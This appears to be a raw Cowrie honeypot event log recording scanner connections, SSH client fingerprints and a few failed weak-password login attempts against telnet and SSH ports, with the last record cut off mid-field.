{"eventid":"cowrie.session.closed","duration":30.977014780044556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:05.402460Z","src_ip":"212.47.75.195","session":"333fc7e0a3f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":54010,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6291c502a60","protocol":"telnet","message":"New connection: 176.74.31.147:54010 (159.203.135.109:23) [session: b6291c502a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:05.411472Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":54062,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e967f3ad35d","protocol":"telnet","message":"New connection: 176.74.31.147:54062 (159.203.135.109:23) [session: 9e967f3ad35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:05.449091Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":54160,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf44e9de3167","protocol":"telnet","message":"New connection: 176.74.31.147:54160 (159.203.135.109:23) [session: bf44e9de3167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:05.548248Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7fbbb537f06","protocol":"telnet","message":"New connection: 212.47.75.195:54768 (159.203.135.109:23) [session: c7fbbb537f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:05.724877Z"}
{"eventid":"cowrie.session.closed","duration":31.552311658859253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:06.079043Z","src_ip":"108.179.218.230","session":"eed22c4b34f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48308,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32b932e8e20","protocol":"telnet","message":"New connection: 108.179.218.230:48308 (10.17.0.5:23) [session: d32b932e8e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:06.534263Z"}
{"eventid":"cowrie.session.closed","duration":30.782934427261353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:07.217314Z","src_ip":"212.47.75.195","session":"b37218771c93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48742,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5ceb22c7e8","protocol":"telnet","message":"New connection: 108.179.218.230:48742 (10.17.0.5:23) [session: 6b5ceb22c7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:07.618639Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48446,"dst_ip":"10.17.0.5","dst_port":23,"session":"619f34986b8e","protocol":"telnet","message":"New connection: 108.179.218.230:48446 (10.17.0.5:23) [session: 619f34986b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:07.932552Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54770,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bff9e4ea67a","protocol":"telnet","message":"New connection: 212.47.75.195:54770 (159.203.135.109:23) [session: 0bff9e4ea67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:08.721819Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":49303,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f95035fa259","protocol":"telnet","message":"New connection: 133.130.75.21:49303 (10.17.0.5:23) [session: 3f95035fa259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:08.840576Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"e97709d218f2","protocol":"telnet","message":"New connection: 212.47.75.195:54772 (159.203.135.109:23) [session: e97709d218f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:09.228456Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54774,"dst_ip":"159.203.135.109","dst_port":23,"session":"503cc5f58f08","protocol":"telnet","message":"New connection: 212.47.75.195:54774 (159.203.135.109:23) [session: 503cc5f58f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:10.372842Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50160,"dst_ip":"10.17.0.5","dst_port":23,"session":"1753457b5e7a","protocol":"telnet","message":"New connection: 108.179.218.230:50160 (10.17.0.5:23) [session: 1753457b5e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.041172Z"}
{"eventid":"cowrie.session.closed","duration":30.54492974281311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.244467Z","src_ip":"212.47.75.195","session":"e70bd74d716d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54776,"dst_ip":"159.203.135.109","dst_port":23,"session":"13fe109a0907","protocol":"telnet","message":"New connection: 212.47.75.195:54776 (159.203.135.109:23) [session: 13fe109a0907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.256925Z"}
{"eventid":"cowrie.session.closed","duration":30.655964374542236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.397460Z","src_ip":"212.47.75.195","session":"d9e923c49f2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":53784,"dst_ip":"159.203.135.109","dst_port":22,"session":"8261adf4c179","protocol":"ssh","message":"New connection: 103.149.252.223:53784 (159.203.135.109:22) [session: 8261adf4c179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.896551Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.901175Z","src_ip":"103.149.252.223","session":"8261adf4c179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:11.904695Z","src_ip":"103.149.252.223","session":"8261adf4c179","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f082a35a1d","protocol":"telnet","message":"New connection: 108.179.218.230:50610 (10.17.0.5:23) [session: 37f082a35a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:12.002771Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":49434,"dst_ip":"10.17.0.5","dst_port":23,"session":"797e76bd68ba","protocol":"telnet","message":"New connection: 108.179.218.230:49434 (10.17.0.5:23) [session: 797e76bd68ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:12.297826Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22589dd6bc4","protocol":"telnet","message":"New connection: 212.47.75.195:54778 (159.203.135.109:23) [session: e22589dd6bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:12.417376Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec3963dc449","protocol":"telnet","message":"New connection: 108.179.218.230:50504 (10.17.0.5:23) [session: 2ec3963dc449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:12.693127Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54780,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6d723e4f85","protocol":"telnet","message":"New connection: 212.47.75.195:54780 (159.203.135.109:23) [session: 6d6d723e4f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:12.858951Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54782,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b31791bb53e","protocol":"telnet","message":"New connection: 212.47.75.195:54782 (159.203.135.109:23) [session: 5b31791bb53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:13.609124Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54784,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcb4c8b39971","protocol":"telnet","message":"New connection: 212.47.75.195:54784 (159.203.135.109:23) [session: bcb4c8b39971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:13.795192Z"}
{"eventid":"cowrie.session.closed","duration":31.110607385635376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:14.031741Z","src_ip":"108.179.218.230","session":"d7667d18ea36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.23","src_port":24482,"dst_ip":"10.17.0.5","dst_port":22,"session":"e054850c149f","protocol":"ssh","message":"New connection: 92.118.39.23:24482 (10.17.0.5:22) [session: e054850c149f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:14.510182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:14.514986Z","src_ip":"92.118.39.23","session":"e054850c149f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:14.620135Z","src_ip":"92.118.39.23","session":"e054850c149f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:15.070458Z","src_ip":"92.118.39.23","session":"e054850c149f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:15.308714Z","src_ip":"122.168.114.167","session":"663c9b6f70a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.910001516342163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:15.397146Z","src_ip":"212.47.75.195","session":"b61ded1cb241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.865769863128662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:15.441894Z","src_ip":"212.47.75.195","session":"0594b24ffcc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638751745224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:15.447382Z","src_ip":"108.179.218.230","session":"f6e26854a81e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":52134,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d199ab0aa7d","protocol":"telnet","message":"New connection: 108.179.218.230:52134 (10.17.0.5:23) [session: 0d199ab0aa7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:15.562476Z"}
{"eventid":"cowrie.session.closed","duration":30.878360509872437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:16.458010Z","src_ip":"212.47.75.195","session":"59dc75c1eeca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407217979431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:17.574528Z","src_ip":"212.47.75.195","session":"6c5997666dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":52906,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ebfebc25569","protocol":"telnet","message":"New connection: 108.179.218.230:52906 (10.17.0.5:23) [session: 8ebfebc25569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:17.683444Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38924,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd5d07c35af","protocol":"ssh","message":"New connection: 159.203.92.129:38924 (159.203.135.109:22) [session: 1bd5d07c35af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:18.277921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:18.289855Z","src_ip":"159.203.92.129","session":"1bd5d07c35af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:18.293514Z","src_ip":"159.203.92.129","session":"1bd5d07c35af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arezaei","password":"123456","message":"login attempt [arezaei/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:18.351117Z","src_ip":"159.203.92.129","session":"1bd5d07c35af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06661581993103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:18.643073Z","src_ip":"212.47.75.195","session":"c5438d9d3ff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:19.356621Z","src_ip":"159.203.92.129","session":"1bd5d07c35af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.1","message":"Connection lost after 19.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:19.449659Z","src_ip":"122.168.114.167","session":"663c9b6f70a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97446918487549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:20.301736Z","src_ip":"176.74.31.147","session":"c26f5f0e64d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99610161781311,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:20.443524Z","src_ip":"212.47.75.195","session":"f9b89f4d87d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57641625404358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:20.577940Z","src_ip":"212.47.75.195","session":"7822d2be5282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574880123138428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:21.466225Z","src_ip":"108.179.218.230","session":"f53c6646157f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54418,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a620d3af5f7","protocol":"telnet","message":"New connection: 108.179.218.230:54418 (10.17.0.5:23) [session: 4a620d3af5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:22.488186Z"}
{"eventid":"cowrie.session.closed","duration":31.684863328933716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:22.711569Z","src_ip":"212.47.75.195","session":"6d30da60eb0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556777715682983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:22.815334Z","src_ip":"212.47.75.195","session":"52c268f52a95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54786,"dst_ip":"159.203.135.109","dst_port":23,"session":"437e3fbdd658","protocol":"telnet","message":"New connection: 212.47.75.195:54786 (159.203.135.109:23) [session: 437e3fbdd658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:24.660878Z"}
{"eventid":"cowrie.session.closed","duration":32.22831130027771,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:24.846606Z","src_ip":"212.47.75.195","session":"f583bc2e3fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.705315828323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:25.373085Z","src_ip":"212.47.75.195","session":"4f9beea6336c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3914577960968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:25.533202Z","src_ip":"108.179.218.230","session":"5a000d52c939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853914499282837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:25.682482Z","src_ip":"108.179.218.230","session":"7d40480a09f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":56290,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bf7784308c1","protocol":"telnet","message":"New connection: 108.179.218.230:56290 (10.17.0.5:23) [session: 5bf7784308c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:25.954343Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e022e57e2fc","protocol":"telnet","message":"New connection: 212.47.75.195:54788 (159.203.135.109:23) [session: 1e022e57e2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:27.420538Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":41350,"dst_ip":"10.17.0.5","dst_port":22,"session":"221071a79b03","protocol":"ssh","message":"New connection: 186.80.18.158:41350 (10.17.0.5:22) [session: 221071a79b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:27.529120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:02:27.533478Z","src_ip":"186.80.18.158","session":"221071a79b03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS"